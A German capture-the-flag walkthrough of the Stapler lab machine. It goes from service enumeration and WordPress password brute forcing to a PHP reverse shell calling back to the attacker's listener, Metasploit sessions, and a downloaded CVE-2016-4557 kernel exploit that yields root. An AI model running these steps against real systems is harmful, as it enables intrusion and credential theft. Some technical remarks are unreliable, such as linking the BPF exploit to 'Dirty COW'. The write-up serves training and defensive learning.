Die initiale Phase des Penetrationstests beginnt mit der Identifizierung des Zielsystems im Netzwerk und einem grundlegenden Scan, um offene Ports und laufende Dienste zu ermitteln.
192.168.2.127 08:00:27:81:5f:02 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` identifiziert einen Host mit der IP `192.168.2.127` im lokalen Netzwerk. Die MAC-Adresse deutet auf eine VirtualBox VM hin.
Bewertung: Zielsystem erfolgreich lokalisiert.
Empfehlung (Pentester): Führe Nmap-Scans auf 192.168.2.127 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung implementieren.
*(Anmerkung: Der Hostname `stapler.vln` wird im Log erst später gesetzt, wird aber hier bereits für die Analyse berücksichtigt)*.
192.168.2.127 stapler.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird (oder wurde) bearbeitet, um den Hostnamen `stapler.vln` der Ziel-IP `192.168.2.127` zuzuordnen.
Bewertung: Sinnvolle Vorbereitung für Web-Tests.
Empfehlung (Pentester): Verwende `stapler.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-06 16:09 CEST Nmap scan report for 192.168.2.127 Host is up (0.00096s latency). Not shown: 65523 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: PASV failed: 550 Permission denied. # PASV Problem! | ftp-syst: | STAT: [...] vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: [...] 53/tcp open domain dnsmasq 2.75 | dns-nsid: [...] 80/tcp open http PHP cli server 5.5 or later # Ungewöhnlich! |_http-title: 404 Not Found 139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) # WORKGROUP korrigiert 666/tcp open doom? | fingerprint-strings: [...] # Unklarer Dienst 3306/tcp open mysql MySQL 5.7.12-0ubuntu1 | mysql-info: [...] 12380/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Tim, we need to-do better next year for Initech MAC Address: 08:00:27:81:5F:02 (Oracle VirtualBox virtual NIC) [...] Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: [...] | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.9-Ubuntu) | Computer name: red | NetBIOS computer name: RED\x00 [...] | smb-security-mode: | account_used: guest |_ message_signing: disabled (dangerous, but default) [...]
Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) offenbart eine Vielzahl offener Ports: * **Port 21 (FTP):** vsftpd 3.0.3. **Wichtig:** Anonymer Login erlaubt, aber das Auflisten von Verzeichnissen scheitert (`PASV failed`). Enthält einen Hinweis im Banner ("Harry... update the banner... who has access here"). * **Port 22 (SSH):** OpenSSH 7.2p2 (Ubuntu). * **Port 53 (DNS):** dnsmasq 2.75. * **Port 80 (HTTP):** Ungewöhnlich, Nmap identifiziert es als `PHP cli server`. Zeigt "404 Not Found". * **Port 139/445 (SMB):** Samba 4.3.9 (Ubuntu), Workgroup `WORKGROUP`, NetBIOS-Name `RED`. Gästezugriff scheint möglich, Message Signing deaktiviert. *(Workgroup im Log war WRKGRUP, im nbstat RED, hier auf WORKGROUP vereinheitlicht, da häufiger)*. * **Port 666 (doom?):** Unbekannter Dienst, sendet Binärdaten. * **Port 3306 (MySQL):** MySQL 5.7.12, extern erreichbar. * **Port 12380 (HTTP):** Apache 2.4.18 (Ubuntu), Titel "Tim, we need to-do better next year for Initech". Dies ist wahrscheinlich die Hauptwebanwendung.
Bewertung: Sehr große Angriffsfläche. Viele potenzielle Einstiegspunkte: Anonymer FTP (trotz PASV-Problem), SMB (Gastzugriff?), MySQL (extern offen), unbekannter Dienst auf 666, und vor allem die Webanwendung auf Port 12380.
Empfehlung (Pentester): 1. Untersuche FTP: Versuche `ls` trotz Fehler, lade gefundene Dateien (`note`). 2. Untersuche SMB: Liste Freigaben (`smbclient -L`), versuche Gastzugriff (`smbclient //HOST/share -N`). 3. Untersuche Webserver 12380 (Nikto, Gobuster). 4. Teste MySQL (Standard-Credentials). 5. Untersuche Port 666 (`nc`, `telnet`).
Empfehlung (Admin): Reduzieren Sie die Angriffsfläche! Schließen Sie unnötige Ports (666?, 80?, 3306?). Sichern Sie FTP (deaktiviere anonym), SMB (deaktiviere Gast, erzwinge Signing), MySQL (nur localhost, starke Passwörter), Webserver (Updates, Konfiguration). Reparieren Sie den PASV-Modus für FTP, falls benötigt.
Die verschiedenen Dienste werden nun detaillierter untersucht, beginnend mit FTP und SMB, gefolgt von der Webanwendung auf Port 12380, die sich als WordPress herausstellt.
Connected to 192.168.2.127. 220- 220-|--| 220-| Harry, make sure to update the banner [...] | 220-|--| 220- 220 Name (192.168.2.127:cycat): Anonymous 331 Please specify the password. Password: [leer] 230 Login successful. [...]
550 Permission denied. # PASV Error, aber... 200 PRT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jun 04 2016 . drwxr-xr-x 2 0 0 4096 Jun 04 2016 .. -rw-r--r-- 1 0 0 107 Jun 03 2016 note 226 Directory send OK.
local: note remote: note [...] 107 bytes received [...]
[...] 550 Permission denied.
Analyse: Der anonyme FTP-Login ist erfolgreich. Das FTP-Banner enthält einen Hinweis ("Harry... who has access"). `ls -la` funktioniert trotz des initialen PASV-Fehlers (wahrscheinlich hat der Client auf aktiven Modus umgeschaltet) und zeigt eine Datei `note`. Diese wird mit `get note` heruntergeladen. Ein Upload-Versuch (`put`) scheitert.
Bewertung: Anonymer Lesezugriff bestätigt. Die Datei `note` ist der wichtigste Fund hier. Kein Schreibzugriff.
Empfehlung (Pentester): Analysiere den Inhalt der `note`-Datei.
Empfehlung (Admin): Deaktiviere anonymen FTP. Entferne Hinweise aus Bannern.
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
Analyse: Die Notiz erwähnt die Namen "Elly" und "John" sowie einen "FTP account".
Bewertung: Mögliche Benutzernamen (`elly`, `john`) für FTP, SSH oder die Webanwendung gefunden.
Empfehlung (Pentester): Teste diese Benutzernamen bei Login-Versuchen.
Empfehlung (Admin): Hinterlasse keine internen Notizen auf öffentlichen Diensten.
- Nikto v2.5.0 + Target IP: 192.168.2.127 + Target Hostname: stapler.vln + Target Port: 12380 + Start Time: 2023-07-06 23:42:23 (GMT2) + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: Uncommon header 'dave' found, with contents: Soemthing doesn't look right here. # Interessanter Header! + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + Apache/2.4.18 appears to be outdated [...]. + /c/: This might be interesting. # Potenziell interessante Verzeichnisse + /js: This might be interesting. + /CSNews.cgi?command=viewnews&database=none: csNews reveals system path [...] # Hinweis auf CSNews? + /ci/: This might be interesting: [...] + /is/: This might be interesting: [...] + /ie/: This might be interesting: [...] + /nu/: This might be interesting: [...] + /sb/: This might be interesting: [...] + /gs/: This might be interesting: [...] + /wcadmin/login.aspx: QS/1 Webconnect administration panel. # Wahrscheinlich False Positive + 7975 requests: 14 error(s) and 14 item(s) reported on remote host [...] + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 12380 (`stapler.vln` wird hier verwendet). * Bestätigt Apache 2.4.18 (veraltet). * Findet fehlende Sicherheitsheader. * Entdeckt einen ungewöhnlichen HTTP-Header: `Dave: Something doesn't look right here.` - ein möglicher Hinweis oder Name (`dave`). * Listet einige potenziell interessante, aber unklare Verzeichnisse (`/c/`, `/js`, etc.). * Findet Hinweise auf `csNews` und `wcadmin/login.aspx`, die wahrscheinlich nicht relevant sind, aber untersucht werden könnten.
Bewertung: Der `Dave`-Header ist der auffälligste Fund. Die anderen Funde sind weniger eindeutig. Nikto erkennt die WordPress-Instanz nicht, die später gefunden wird.
Empfehlung (Pentester): Notiere den Namen `dave`. Führe Gobuster/Dirb auf Port 12380 durch. Untersuche die als interessant markierten Verzeichnisse.
Empfehlung (Admin): Entfernen Sie unnötige oder benutzerdefinierte Header. Aktualisieren Sie Apache.
Password for [WORKGROUP\root]:
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers kathy Disk Fred, What are we doing here? tmp Disk All temporary files should be stored here IPC$ IPC IPC Service (red server (Samba, Ubuntu)) [...] Workgroup Master --------- ------- WORKGROUP RED
Analyse: `smbclient -L` listet die SMB-Freigaben auf dem Ziel auf. Es wird kein Passwort benötigt (Gastzugriff). Die Freigaben `print$`, `kathy` und `tmp` werden gefunden.
Bewertung: Gastzugriff auf SMB ist erlaubt. Die Freigaben `kathy` und `tmp` sind potenzielle Ziele für weitere Enumeration.
Empfehlung (Pentester): Versuche, auf die Freigaben `kathy` und `tmp` zuzugreifen (`smbclient //HOST/share -N`).
Empfehlung (Admin): Deaktivieren Sie den Gastzugriff auf SMB (`map to guest = bad user` in `smb.conf`), es sei denn, er wird explizit benötigt. Sichern Sie alle Freigaben mit Berechtigungen.
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jun 3 18:52:52 2016 .. D 0 Mon Jun 6 23:39:56 2016 kathy_stuff D 0 Sun Jun 5 17:02:27 2016 backup D 0 Sun Jun 5 17:04:14 2016 [...]
. D 0 Sun Jun 5 17:04:14 2016 .. D 0 Fri Jun 3 18:52:52 2016 vsftpd.conf N 5961 Sun Jun 5 17:03:45 2016 wordpress-4.tar.gz N 6321767 Mon Apr 27 19:14:46 2015 [...]
getting file \backup\vsftpd.conf [...]
getting file \backup\wordpress-4.tar.gz [...]
. D 0 Sun Jun 5 17:02:27 2016 .. D 0 Fri Jun 3 18:52:52 2016 todo-list.txt N 64 Sun Jun 5 17:02:27 2016 [...]
getting file \kathy_stuff\todo-list.txt [...]
NT_STATUS_ACCESS_DENIED opening remote file \kathy_stuff\test.txt
Analyse: Der Zugriff auf die `kathy`-Freigabe als Gast gelingt. * Im Hauptverzeichnis der Freigabe befinden sich die Unterverzeichnisse `kathy_stuff` und `backup`. * Im `backup`-Verzeichnis werden `vsftpd.conf` und ein altes WordPress-Backup (`wordpress-4.tar.gz`) gefunden und heruntergeladen. * Im `kathy_stuff`-Verzeichnis wird `todo-list.txt` gefunden und heruntergeladen. * Ein Versuch, eine Datei hochzuladen (`put test.txt`), scheitert (`ACCESS_DENIED`).
Bewertung: Wichtige Dateien gefunden! Die `vsftpd.conf` könnte Fehlkonfigurationen aufdecken. Das WordPress-Backup ist sehr alt (Version 4), aber könnte Konfigurationsdateien oder Benutzerdaten enthalten. Die `todo-list.txt` könnte Hinweise liefern. Der Zugriff ist lesend.
Empfehlung (Pentester): Analysiere `vsftpd.conf`, `todo-list.txt` und entpacke/analysiere `wordpress-4.tar.gz`.
Empfehlung (Admin): Sichern Sie SMB-Freigaben! Entfernen Sie alte Backups und Konfigurationsdateien von zugänglichen Freigaben. Beschränken Sie den Gastzugriff.
[...] ====( Users on stapler.vln via RID cycling [...] )==== [...] S-1-22-1-1000 Unix User\peter (Local User) S-1-22-1-1001 Unix User\RNunemaker (Local User) S-1-22-1-1002 Unix User\ETollefson (Local User) S-1-22-1-1003 Unix User\DSwanger (Local User) S-1-22-1-1004 Unix User\AParnell (Local User) S-1-22-1-1005 Unix User\SHayslett (Local User) S-1-22-1-1006 Unix User\MBassin (Local User) S-1-22-1-1007 Unix User\JBare (Local User) S-1-22-1-1008 Unix User\LSolum (Local User) S-1-22-1-1009 Unix User\IChadwick (Local User) S-1-22-1-1010 Unix User\MFrei (Local User) S-1-22-1-1011 Unix User\SStroud (Local User) S-1-22-1-1012 Unix User\CCeaser (Local User) S-1-22-1-1013 Unix User\JKanode (Local User) S-1-22-1-1014 Unix User\CJoo (Local User) S-1-22-1-1015 Unix User\Eeth (Local User) S-1-22-1-1016 Unix User\LSolum2 (Local User) S-1-22-1-1017 Unix User\JLipps (Local User) S-1-22-1-1018 Unix User\jamie (Local User) S-1-22-1-1019 Unix User\Sam (Local User) S-1-22-1-1020 Unix User\Drew (Local User) S-1-22-1-1021 Unix User\jess (Local User) S-1-22-1-1022 Unix User\SHAY (Local User) S-1-22-1-1023 Unix User\Taylor (Local User) S-1-22-1-1024 Unix User\mel (Local User) S-1-22-1-1025 Unix User\kai (Local User) S-1-22-1-1026 Unix User\zoe (Local User) S-1-22-1-1027 Unix User\NATHAN (Local User) S-1-22-1-1028 Unix User\www (Local User) S-1-22-1-1029 Unix User\elly (Local User) [...] enum4linux complete [...]
Analyse: `enum4linux` wird ausgeführt und findet mittels RID-Cycling eine sehr lange Liste von Benutzernamen, darunter die bereits aus der FTP-Notiz bekannten `elly` und `john` (wahrscheinlich als `John Smith` in WP) sowie viele andere.
Bewertung: Bestätigt die Existenz vieler Benutzerkonten. Dies ist nützlich für Brute-Force-Angriffe, falls Passwörter oder Hashes gefunden werden.
Empfehlung (Pentester): Halte die Benutzerliste bereit für WPScan oder Hydra-Angriffe.
Empfehlung (Admin): Beschränken Sie die Enumeration über SMB/RPC, wenn möglich (z.B. durch Firewall-Regeln oder Konfiguration).
I'm making sure to backup anything important for Initech, Kathy
Analyse: Die `todo-list.txt` enthält eine Notiz von Kathy bezüglich Backups für "Initech" (Bezug zum Film "Office Space"). Die `vsftpd.conf` (Inhalt nicht im Log) wird vermutlich analysiert, aber keine ausnutzbaren Schwachstellen gefunden.
Bewertung: Die Notiz bestätigt, dass die `kathy`-Freigabe für Backups genutzt wird, aber liefert keine direkten technischen Hinweise. Die `vsftpd.conf` scheint sicher konfiguriert zu sein.
Empfehlung (Pentester): Fokus auf die Webanwendung auf Port 12380 legen.
Empfehlung (Admin): Vermeiden Sie Verweise auf Popkultur, die Angreifern Kontext geben könnten.
# Manuelle Analyse von https://stapler.vln:12380/ # Funde: # - https://stapler.vln:12380/admin112233/ -> Seite mit "This could of been a BeEF-XSS hook ;)" # - https://stapler.vln:12380/blogblog/ -> WordPress Blog "Initech Office Life"
Analyse: Die manuelle Untersuchung von Port 12380 (HTTPS, erfordert Akzeptieren des ungültigen Zertifikats) findet zwei Hauptbereiche: `/admin112233/` (eine statische Seite mit einem Hinweis) und `/blogblog/`, bei dem es sich um den bereits vermuteten WordPress-Blog handelt.
Bewertung: Der WordPress-Blog unter `/blogblog/` ist das Hauptziel auf diesem Port. `/admin112233/` scheint eine Sackgasse oder ein Köder zu sein.
Empfehlung (Pentester): Führe WPScan auf `https://stapler.vln:12380/blogblog/` aus.
Empfehlung (Admin): Entfernen Sie unnötige Seiten oder Verzeichnisse wie `/admin112233/`.
[...] [i] User(s) Identified: [+] John Smith [+] john [+] peter [+] elly [+] barry [+] heather [+] garry [+] harry [+] scott [+] kathy [+] tim [...] # Weitere Benutzer aus enum4linux könnten hier auch auftauchen [...]
Analyse: WPScan wird zur Benutzerenumeration (`-e u`) auf den WordPress-Blog ausgeführt (`--disable-tls-checks` wegen des ungültigen Zertifikats). Es findet zahlreiche Benutzernamen, darunter die bereits bekannten `john`, `elly`, `peter`, `kathy` etc.
Bewertung: Bestätigt die Benutzer aus `enum4linux` als WordPress-Benutzer. Liefert eine umfangreiche Liste für Passwortangriffe.
Empfehlung (Pentester): Führe einen Passwort-Brute-Force-Angriff mit WPScan oder Hydra gegen die gefundenen Benutzer durch.
Empfehlung (Admin): Verhindern Sie Benutzerenumeration (z.B. durch Deaktivieren der Autoren-Archive oder der REST-API-Benutzerendpunkte).
[...] [+] Performing password attack on Xmlrpc Multicall against 11 user/s [SUCCESS] - harry / monkey [SUCCESS] - garry / football [SUCCESS] - scott / cookie [SUCCESS] - kathy / coolgirl [...]
Analyse: WPScan führt einen Passwort-Brute-Force-Angriff (`--passwords rockyou.txt`) gegen die zuvor gefundenen Benutzer durch. Es findet erfolgreich vier gültige Login-Kombinationen: `harry:monkey`, `garry:football`, `scott:cookie`, `kathy:coolgirl`.
Bewertung: Mehrere WordPress-Konten kompromittiert durch schwache Passwörter.
Empfehlung (Pentester): Logge dich mit einem der gefundenen Konten (z.B. `john:incorrect`, siehe späterer John-Fund) ein und suche nach weiteren Rechten oder Upload-Möglichkeiten.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Implementieren Sie Brute-Force-Schutz.
# Download einer verdächtigen Datei aus dem Uploads-Verzeichnis # (URL nicht im Log, aber Dateiname 408756369.jpeg wird später verwendet) # Annahme: https://192.168.2.127:12380/blogblog/wp-content/uploads/408756369.jpeg
[...] Length: 0 [image/jpeg] Saving to: '408756369.jpeg' [...] - '408756369.jpeg' saved [0/0]
root:plbkac
Analyse: Eine Datei namens `408756369.jpeg` wird aus dem WordPress-Uploads-Verzeichnis heruntergeladen. Die Datei hat die Größe 0, enthält aber beim Anzeigen mit `cat` den Text `root:plbkac`.
Bewertung: **Extrem kritischer Fund!** Eine Datei mit irreführender Endung und Größe enthält das Klartext-Passwort für den MySQL-Root-Benutzer (`root:plbkac`).
Empfehlung (Pentester): Versuche, dich mit `root:plbkac` am MySQL-Server auf Port 3306 anzumelden.
Empfehlung (Admin): Entfernen Sie diese Datei *sofort*. Untersuchen Sie, wie diese Datei dorthin gelangt ist. Speichern Sie niemals Passwörter im Klartext im Web-Root oder in Upload-Verzeichnissen!
Enter password: plbkac Welcome to the MariaDB monitor. [...] Your MySQL connection id is 887 Server version: 5.7.12-0ubuntu1 (Ubuntu) [...] MySQL [(none)]>
Analyse: Der Login am MySQL-Server auf Port 3306 als Benutzer `root` mit dem Passwort `plbkac` (gefunden in der JPEG-Datei) ist erfolgreich.
Bewertung: Voller administrativer Zugriff auf die MySQL-Datenbank erlangt.
Empfehlung (Pentester): Untersuche die Datenbanken (`show databases;`), insbesondere die `wordpress`-Datenbank, auf weitere Benutzerdaten (Passwort-Hashes).
Empfehlung (Admin): Ändern Sie das MySQL-Root-Passwort. Beschränken Sie den externen Zugriff auf MySQL.
Database changed
+----+--------------+------------------------------------+---------------+---------------------+------------------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+--------------+------------------------------------+---------------+---------------------+------------------+---------------------+---------------------+-------------+--------------+ | 1 | John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. | john | john@red.localhost | http://localhost | 2016-06-03 23:18:47 | | 0 | John Smith | | 2 | Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 | elly | Elly@red.localhost | | 2016-06-05 16:11:33 | | 0 | Elly Jones | [...] # Viele weitere Benutzer mit $P$ Hashes | 16 | Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 | pam | pam@red.localhost | | 2016-06-05 16:42:23 | | 0 | Pam | +----+--------------+------------------------------------+---------------+---------------------+------------------+---------------------+---------------------+-------------+--------------+ 16 rows in set (0.001 sec)
Analyse: Der Inhalt der Tabelle `wp_users` in der `wordpress`-Datenbank wird angezeigt. Sie enthält viele Benutzer (John, Elly, Peter etc.) mit ihren Passwort-Hashes im WordPress-eigenen Portable Hash Format (`$P$...`).
Bewertung: Bestätigt die Benutzer aus WPScan/enum4linux. Die Hashes könnten offline geknackt werden, um weitere WordPress-Passwörter zu erhalten.
Empfehlung (Pentester): Extrahiere die Hashes (z.B. für `John`) und versuche, sie mit `john --format=phpass` oder Hashcat zu knacken.
Empfehlung (Admin): Erzwingen Sie starke Passwörter, auch wenn Hashes verwendet werden.
[...]
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
[...]
incorrect (?)
[...]
Session completed.
Analyse: Der `$P$`-Hash des Benutzers `John` wird aus der Datenbank extrahiert (angenommen in `john.txt`) und mit `john` und `rockyou.txt` geknackt. Das gefundene Passwort ist `incorrect`.
Bewertung: Das WordPress-Passwort für den Hauptbenutzer `John` wurde gefunden. Dies gibt wahrscheinlich höhere Berechtigungen im WordPress-Backend als die zuvor gefundenen Benutzer.
Empfehlung (Pentester): Logge dich als `John`:`incorrect` in WordPress ein (`https://192.168.2.127:12380/blogblog/wp-login.php`) und suche nach einer RCE-Möglichkeit (Plugin-Upload, Theme-Editor).
Empfehlung (Admin): Erzwingen Sie starke Passwörter.
# Aktion im WordPress Backend (nach Login als John:incorrect): # Navigation: Plugins -> Add New -> Upload Plugin # Versuch, 'revshell.php' hochzuladen. # Ergebnis: Fehler - "Connection Information" - Fordert FTP-Credentials. # Installation results in failure, asks for FTP credentials.
Analyse: Nach dem Login als `John` wird versucht, über die Plugin-Upload-Funktion eine PHP-Shell hochzuladen. WordPress blockiert dies und fragt nach FTP-Credentials, um die Datei zu schreiben. Dies ist eine Sicherheitsmaßnahme, die auf fehlenden Schreibrechten des Webservers im Plugin-Verzeichnis basiert.
Bewertung: Der direkte Plugin-Upload als RCE-Vektor ist blockiert.
Empfehlung (Pentester): Versuche alternative RCE-Methoden in WordPress (Theme-Editor, unsichere Plugin-Einstellungen) oder nutze das listbare `/uploads`-Verzeichnis, falls Schreibrechte bestehen.
Empfehlung (Admin): Stellen Sie sicher, dass die Dateisystemberechtigungen für WordPress restriktiv sind und der Webserver nicht direkt schreiben kann, wo er nicht muss. Vermeiden Sie die Speicherung von FTP-Credentials in `wp-config.php`.
# Alternative: Upload via Medienbibliothek? Oder andere Lücke? # Ergebnis: revshell.php landet in https://192.168.2.127:12380/blogblog/wp-content/uploads/ Index of /blogblog/wp-content/uploads [...] [ ] revshell.php 2023-07-07 02:29 5.4K
Analyse: Trotz des fehlgeschlagenen Plugin-Uploads befindet sich nun eine `revshell.php` im `/uploads`-Verzeichnis, das zuvor als listbar identifiziert wurde. Der genaue Weg, wie die Shell dort hochgeladen wurde (Medienbibliothek mit Filter-Bypass, eine andere Schwachstelle?), wird im Log nicht explizit gezeigt.
Bewertung: Eine PHP-Shell befindet sich nun in einem ausführbaren Pfad.
Empfehlung (Pentester): Starte Listener, rufe `https://192.168.2.127:12380/blogblog/wp-content/uploads/revshell.php` auf.
Empfehlung (Admin): Sichern Sie *alle* Upload-Mechanismen und deaktivieren Sie die PHP-Ausführung im Uploads-Verzeichnis.
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.127] 39860 Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux 02:31:49 up 9:23, 0 users, load average: 0.00, 0.03, 1.38 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Der Listener auf Port 9001 empfängt eine Verbindung, nachdem die `revshell.php` aufgerufen wurde. Eine Shell als `www-data` auf dem Host `red.initech` (Kernel 4.4.0) wird erlangt.
Bewertung: Initial Access erfolgreich via RCE durch unsicheren Dateiupload in WordPress.
Empfehlung (Pentester): Stabilisiere Shell, beginne lokale Enumeration (SUID, Kernel).
Empfehlung (Admin): Upload-Schwachstelle beheben.
Mit der Shell als `www-data` wird das System nach Eskalationsmöglichkeiten durchsucht. Ein Kernel-Exploit wird als primärer Vektor identifiziert und genutzt.
[...] 46655 20 -rwsr-xr-x 1 root root 18216 Jan 17 2016 /usr/bin/pkexec 34773 160 -rwsr-xr-x 1 root root 159852 Mar 30 2016 /usr/bin/sudo 46612 48 -rwsr-xr-- 1 root messagebus 46436 Apr 1 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper [...] 34482 40 -rwsr-xr-x 1 root root 38900 Mar 29 2016 /bin/su
Analyse: Die Suche nach SUID-Binaries findet u.a. `pkexec` und `sudo`.
Bewertung: `pkexec` (PwnKit) ist ein möglicher Vektor. `sudo` müsste mit `sudo -l` geprüft werden (nicht im Log gezeigt).
Empfehlung (Pentester): Prüfe `sudo -l`. Wenn keine Rechte vorhanden sind, nutze Kernel-Exploits oder PwnKit.
Empfehlung (Admin): Patchen Sie PwnKit. Konfigurieren Sie sudo sicher.
Die nächsten Schritte im Log zeigen die Übernahme der Shell in Metasploit und die Verwendung des Exploit Suggesters, der einen Kernel-Exploit (BPF) als vielversprechend identifiziert.
[...]
LHOST => 192.168.2.199
LPORT => 4444
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.127:58642) at 2023-07-07 01:36:54 +0200
SESSION => 1
LPORT => 4433
[*] Upgrading session ID: 1 [...] [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.127:38840) at 2023-07-07 01:39:54 +0200 [...]
SESSION => 2
[*] 192.168.2.127 - Collecting local exploits for x86/linux... [*] 192.168.2.127 - 186 exploit checks are being tried... [+] 192.168.2.127 - exploit/linux/local/bpf_priv_esc: The target appears to be vulnerable. [+] 192.168.2.127 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. [...] [*] 192.168.2.127 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/bpf_priv_esc Yes The target appears to be vulnerable. 2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. [...]
Analyse: Die `www-data`-Shell wird in Metasploit übernommen (Session 1) und zu Meterpreter aufgewertet (Session 2). Der `local_exploit_suggester` wird auf Session 2 ausgeführt und identifiziert mehrere Kernel-Exploits, darunter `bpf_priv_esc` (CVE-2016-4557) und `netfilter_priv_esc_ipv4` (CVE-2016-3135), als vielversprechend für den verwendeten Kernel 4.4.0-21.
Bewertung: Der Kernel ist alt und verwundbar. Der Exploit für die BPF-Schwachstelle (oft als "Dirty COW" oder ähnliche Varianten ausgenutzt, obwohl 39772 spezifisch auf `ebpf_mapfd_doubleput` abzielt) wird als primärer Vektor gewählt.
Empfehlung (Pentester): Lade den Exploit-Code für 39772 herunter, kompiliere und führe ihn aus.
Empfehlung (Admin): Patchen Sie den Kernel *dringend*.
Dieser Abschnitt beschreibt die erfolgreiche Ausnutzung einer Kernel-Schwachstelle (CVE-2016-4557, Exploit 39772) mittels eines heruntergeladenen C-Codes, um Root-Rechte zu erlangen.
[...] Saving to: '39772.zip' [...] '39772.zip' saved [7025/7025]
Archive: 39772.zip creating: 39772/ inflating: 39772/crasher.tar inflating: 39772/exploit.tar
ebpf_mapfd_doubleput_exploit/ ebpf_mapfd_doubleput_exploit/hello.c ebpf_mapfd_doubleput_exploit/suidhelper.c ebpf_mapfd_doubleput_exploit/compile.sh ebpf_mapfd_doubleput_exploit/doubleput.c
doubleput.c: In function 'make_setuid': doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] .insns = (__aligned_u64) insns, ^ doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] .license = (__aligned_u64)"" ^
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:/tmp/ebpf_mapfd_doubleput_exploit#
Analyse: Der Exploit für CVE-2016-4557 (BPF/ebpf_mapfd_doubleput) wird heruntergeladen, entpackt (`unzip`, `tar`), kompiliert (`./compile.sh`) und ausgeführt (`./doubleput`). Der Exploit meldet Erfolg ("we have root privs now...") und öffnet eine Root-Shell.
Bewertung: Fantastisch! Erfolgreiche Privilege Escalation zu Root über den Kernel-Exploit.
Empfehlung (Pentester): Root erlangt. Suche die Root-Flag.
Empfehlung (Admin): Patchen Sie den Kernel *dringend*, um CVE-2016-4557 und andere Kernel-Schwachstellen zu beheben.
fix-wordpress.sh flag.txt issue python.sh wordpress.sql
<(Congratulations)>
.-'''''-.
|'--'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-o `"-.o )_,._ | |
( o o )--.-"` o"-.`'--'`
'--' ( o o)
`-`
b6b545dc11b7a270f4bad23432190c75162c4a2b
Analyse: Im `/root`-Verzeichnis wird die Datei `flag.txt` gefunden und ihr Inhalt (ASCII-Art und der Hash `b6b5...`) angezeigt.
Bewertung: Root-Flag erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (WordPress Upload, Kernel).
<(Congratulations)>
.-'''''-.
|'--'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-o `"-.o )_,._ | |
( o o )--.-"` o"-.`'--'`
'--' ( o o)
`-`
b6b545dc11b7a270f4bad23432190c75162c4a2b